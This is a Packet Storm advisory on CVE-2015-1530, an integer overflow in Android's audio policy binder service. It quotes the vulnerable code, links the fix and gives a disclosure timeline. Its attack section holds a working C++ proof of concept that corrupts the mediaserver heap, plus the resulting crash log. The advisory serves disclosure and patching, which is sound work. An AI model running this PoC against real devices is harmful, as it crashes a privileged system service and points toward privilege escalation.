Android Media Integer Overflow

2015-03-12T00:00:00
ID PACKETSTORM:130779
Type packetstorm
Reporter Guang Gong
Modified 2015-03-12T00:00:00

Description

                                        
                                            `#############################################################################  
#  
# QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/  
#  
#############################################################################  
#  
# CVE ID: CVE-2015-1530  
# Product: Android  
# Vendor: Google  
# Subject: An integer overflow in Android media could be exploited to get  
media_server permission  
# Effect: Gain privileges or cause a denial of service  
# Author: Guang Gong  
  
# Date: March 11th 2015  
#  
#############################################################################  
  
  
Introduction  
------------  
An Integer overflow in the BnAudioPolicyService::onTransact function in  
frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/>/  
IAudioPolicyService.cpp  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp>  
in Android through 5.0 allow attackers to gain privileges or cause a denial  
of service (memory corruption) via vectors that trigger a large number of  
count value.  
  
Affected Android version  
----------  
  
all versions below Lollipop 5.1  
  
Patches  
-------  
  
Android Bug id 18226810  
https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160  
  
  
  
Description  
-----------  
The vulnerable code is as follows.  
  
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661  
  
case QUERY_DEFAULT_PRE_PROCESSING  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#QUERY_DEFAULT_PRE_PROCESSING>:  
{  
  
656  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#656>  
CHECK_INTERFACE  
<http://androidxref.com/4.4.4_r1/s?defs=CHECK_INTERFACE&project=frameworks>(  
IAudioPolicyService  
<http://androidxref.com/4.4.4_r1/s?defs=IAudioPolicyService&project=frameworks>  
, data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,  
reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>);  
  
657  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#657>  
int audioSession  
<http://androidxref.com/4.4.4_r1/s?refs=audioSession&project=frameworks> =  
data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.  
readInt32  
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();  
  
658  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#658>  
uint32_t  
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> count  
<http://androidxref.com/4.4.4_r1/s?refs=count&project=frameworks> = data  
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.readInt32  
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();  
  
659  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#659>  
uint32_t  
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks>  
retCount  
<http://androidxref.com/4.4.4_r1/s?refs=retCount&project=frameworks> = count  
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks>;  
  
660  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#660>  
effect_descriptor_t  
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>  
*descriptors  
<http://androidxref.com/4.4.4_r1/s?refs=descriptors&project=frameworks> =  
  
661  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661>  
(effect_descriptor_t  
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>  
*)new char[count  
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks> * sizeof(  
effect_descriptor_t  
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>  
)];--------------------->count can be set to any value by binder client,  
which can cause integer overflow and when write to this buffer, heap  
corruption will happen.  
  
662  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#662>  
status_t  
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> status  
<http://androidxref.com/4.4.4_r1/s?refs=status&project=frameworks> =  
queryDefaultPreProcessing  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#queryDefaultPreProcessing>  
(audioSession  
<http://androidxref.com/4.4.4_r1/s?defs=audioSession&project=frameworks>,  
descriptors  
<http://androidxref.com/4.4.4_r1/s?defs=descriptors&project=frameworks>, &  
retCount  
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);  
  
663  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#663>  
reply  
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->  
writeInt32  
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(  
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks>);  
  
664  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#664>  
if (status  
<http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=  
NO_ERROR  
<http://androidxref.com/4.4.4_r1/s?defs=NO_ERROR&project=frameworks> &&  
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=  
NO_MEMORY  
<http://androidxref.com/4.4.4_r1/s?defs=NO_MEMORY&project=frameworks>) {  
  
665  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#665>  
retCount  
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks> = 0;  
  
666  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#666>  
}  
  
667  
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#667>  
reply  
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->  
writeInt32  
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(  
retCount  
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);  
  
  
Attack vector  
-------------  
A normal Apps can corrupt the heap in mediaserver by this vulnerabilities.  
  
the PoC of corrupting the heap is as follows  
  
#include <binder/Parcel.h>  
  
#include <binder/ProcessState.h>  
  
#include <binder/IServiceManager.h>  
  
#include <media/IAudioPolicyService.h>  
  
#include <binder/TextOutput.h>  
  
#include <system/audio.h>  
  
#include <sys/stat.h>  
  
#include <fcntl.h>  
  
  
  
  
  
using namespace android;  
  
int main(__attribute__((unused)) int argc, __attribute__((unused)) char*  
const argv[])  
  
{  
  
sp<IServiceManager> sm = defaultServiceManager();  
  
sp<IBinder> service = sm->checkService(String16("media.audio_policy"));  
  
  
sp<IAudioPolicyService> iPolicy =  
IAudioPolicyService::asInterface(service);  
  
effect_descriptor_t descriptors;  
  
uint32_t count=0xfffffff;  
  
iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1);  
  
  
iPolicy->queryDefaultPreProcessing(1,&descriptors,&count);  
  
return 0;  
  
}  
  
the crash Log is as follows:  
  
--------- beginning of crash  
  
F/libc ( 184): new[] failed to allocate 3221225300 bytes  
  
F/libc ( 184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1)  
  
I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** ***  
*** ***  
  
I/DEBUG ( 180): Build fingerprint:  
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'  
  
I/DEBUG ( 180): Revision: '10'  
  
I/DEBUG ( 180): ABI: 'arm'  
  
I/DEBUG ( 180): pid: 184, tid: 654, name: Binder_1 >>>  
/system/bin/mediaserver <<<  
  
I/DEBUG ( 180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr  
--------  
  
W/NativeCrashListener( 613): Couldn't find ProcessRecord for pid 184  
  
I/DEBUG ( 180): Abort message: 'new[] failed to allocate 3221225300  
bytes'  
  
E/DEBUG ( 180): AM write failure (32 / Broken pipe)  
  
I/DEBUG ( 180): r0 00000000 r1 0000028e r2 00000006 r3 00000000  
  
I/DEBUG ( 180): r4 b46ffdb8 r5 00000006 r6 0000000c r7 0000010c  
  
I/DEBUG ( 180): r8 0fffffff r9 000003f5 sl 000000b8 fp 00000001  
  
I/DEBUG ( 180): ip 0000028e sp b46ffab8 lr b6f44941 pc b6f6676c  
cpsr 60070010  
  
I/DEBUG ( 180):  
  
I/DEBUG ( 180): backtrace:  
  
I/DEBUG ( 180): #00 pc 0003576c /system/lib/libc.so (tgkill+12)  
  
I/DEBUG ( 180): #01 pc 0001393d /system/lib/libc.so  
(pthread_kill+52)  
  
I/DEBUG ( 180): #02 pc 000143e7 /system/lib/libc.so (raise+10)  
  
I/DEBUG ( 180): #03 pc 00010e8d /system/lib/libc.so  
(__libc_android_abort+36)  
  
I/DEBUG ( 180): #04 pc 0000f954 /system/lib/libc.so (abort+4)  
  
I/DEBUG ( 180): #05 pc 00012225 /system/lib/libc.so  
(__libc_fatal+16)  
  
I/DEBUG ( 180): #06 pc 000128fd /system/lib/libc.so (operator  
new[](unsigned int)+16)  
  
I/DEBUG ( 180): #07 pc 00056367 /system/lib/libmedia.so  
(android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel  
const&, android::Parcel*, unsigned int)+1158)  
  
I/DEBUG ( 180): #08 pc 000167a5 /system/lib/libbinder.so  
(android::BBinder::transact(unsigned int, android::Parcel const&,  
android::Parcel*, unsigned int)+60)  
  
I/DEBUG ( 180): #09 pc 0001aea3 /system/lib/libbinder.so  
(android::IPCThreadState::executeCommand(int)+562)  
  
I/DEBUG ( 180): #10 pc 0001afbf /system/lib/libbinder.so  
(android::IPCThreadState::getAndExecuteCommand()+38)  
  
I/DEBUG ( 180): #11 pc 0001b001 /system/lib/libbinder.so  
(android::IPCThreadState::joinThreadPool(bool)+48)  
  
I/DEBUG ( 180): #12 pc 0001ee93 /system/lib/libbinder.so  
  
I/DEBUG ( 180): #13 pc 0000e97d /system/lib/libutils.so  
(android::Thread::_threadLoop(void*)+112)  
  
I/DEBUG ( 180): #14 pc 0000e505 /system/lib/libutils.so  
  
I/DEBUG ( 180): #15 pc 00013133 /system/lib/libc.so  
(__pthread_start(void*)+30)  
  
I/DEBUG ( 180): #16 pc 0001120b /system/lib/libc.so  
(__start_thread+6)  
  
I/DEBUG ( 180):  
  
I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_00  
  
I/BootReceiver( 613): Copying /data/tombstones/tombstone_00 to DropBox  
(SYSTEM_TOMBSTONE)  
  
  
  
Milestones  
----------  
  
Date  
  
Comment  
  
Sender  
  
03/11/2014  
  
Initial Report of CVE-2015-1530  
  
Qihoo  
  
08/11/2014  
  
have validated and have created a suitable fix internally  
  
Google  
  
11/11/2014  
  
Sent the Android Bug ID 18226810  
  
Google  
  
10/2/2015  
  
Sent the CVE-ID  
  
Google  
  
11/3/2015  
  
Lollipop 5.1 was released, disclose it  
  
Qihoo  
  
  
  
References  
----------  
[1]https:  
//android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160  
  
[2]  
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661  
  
  
`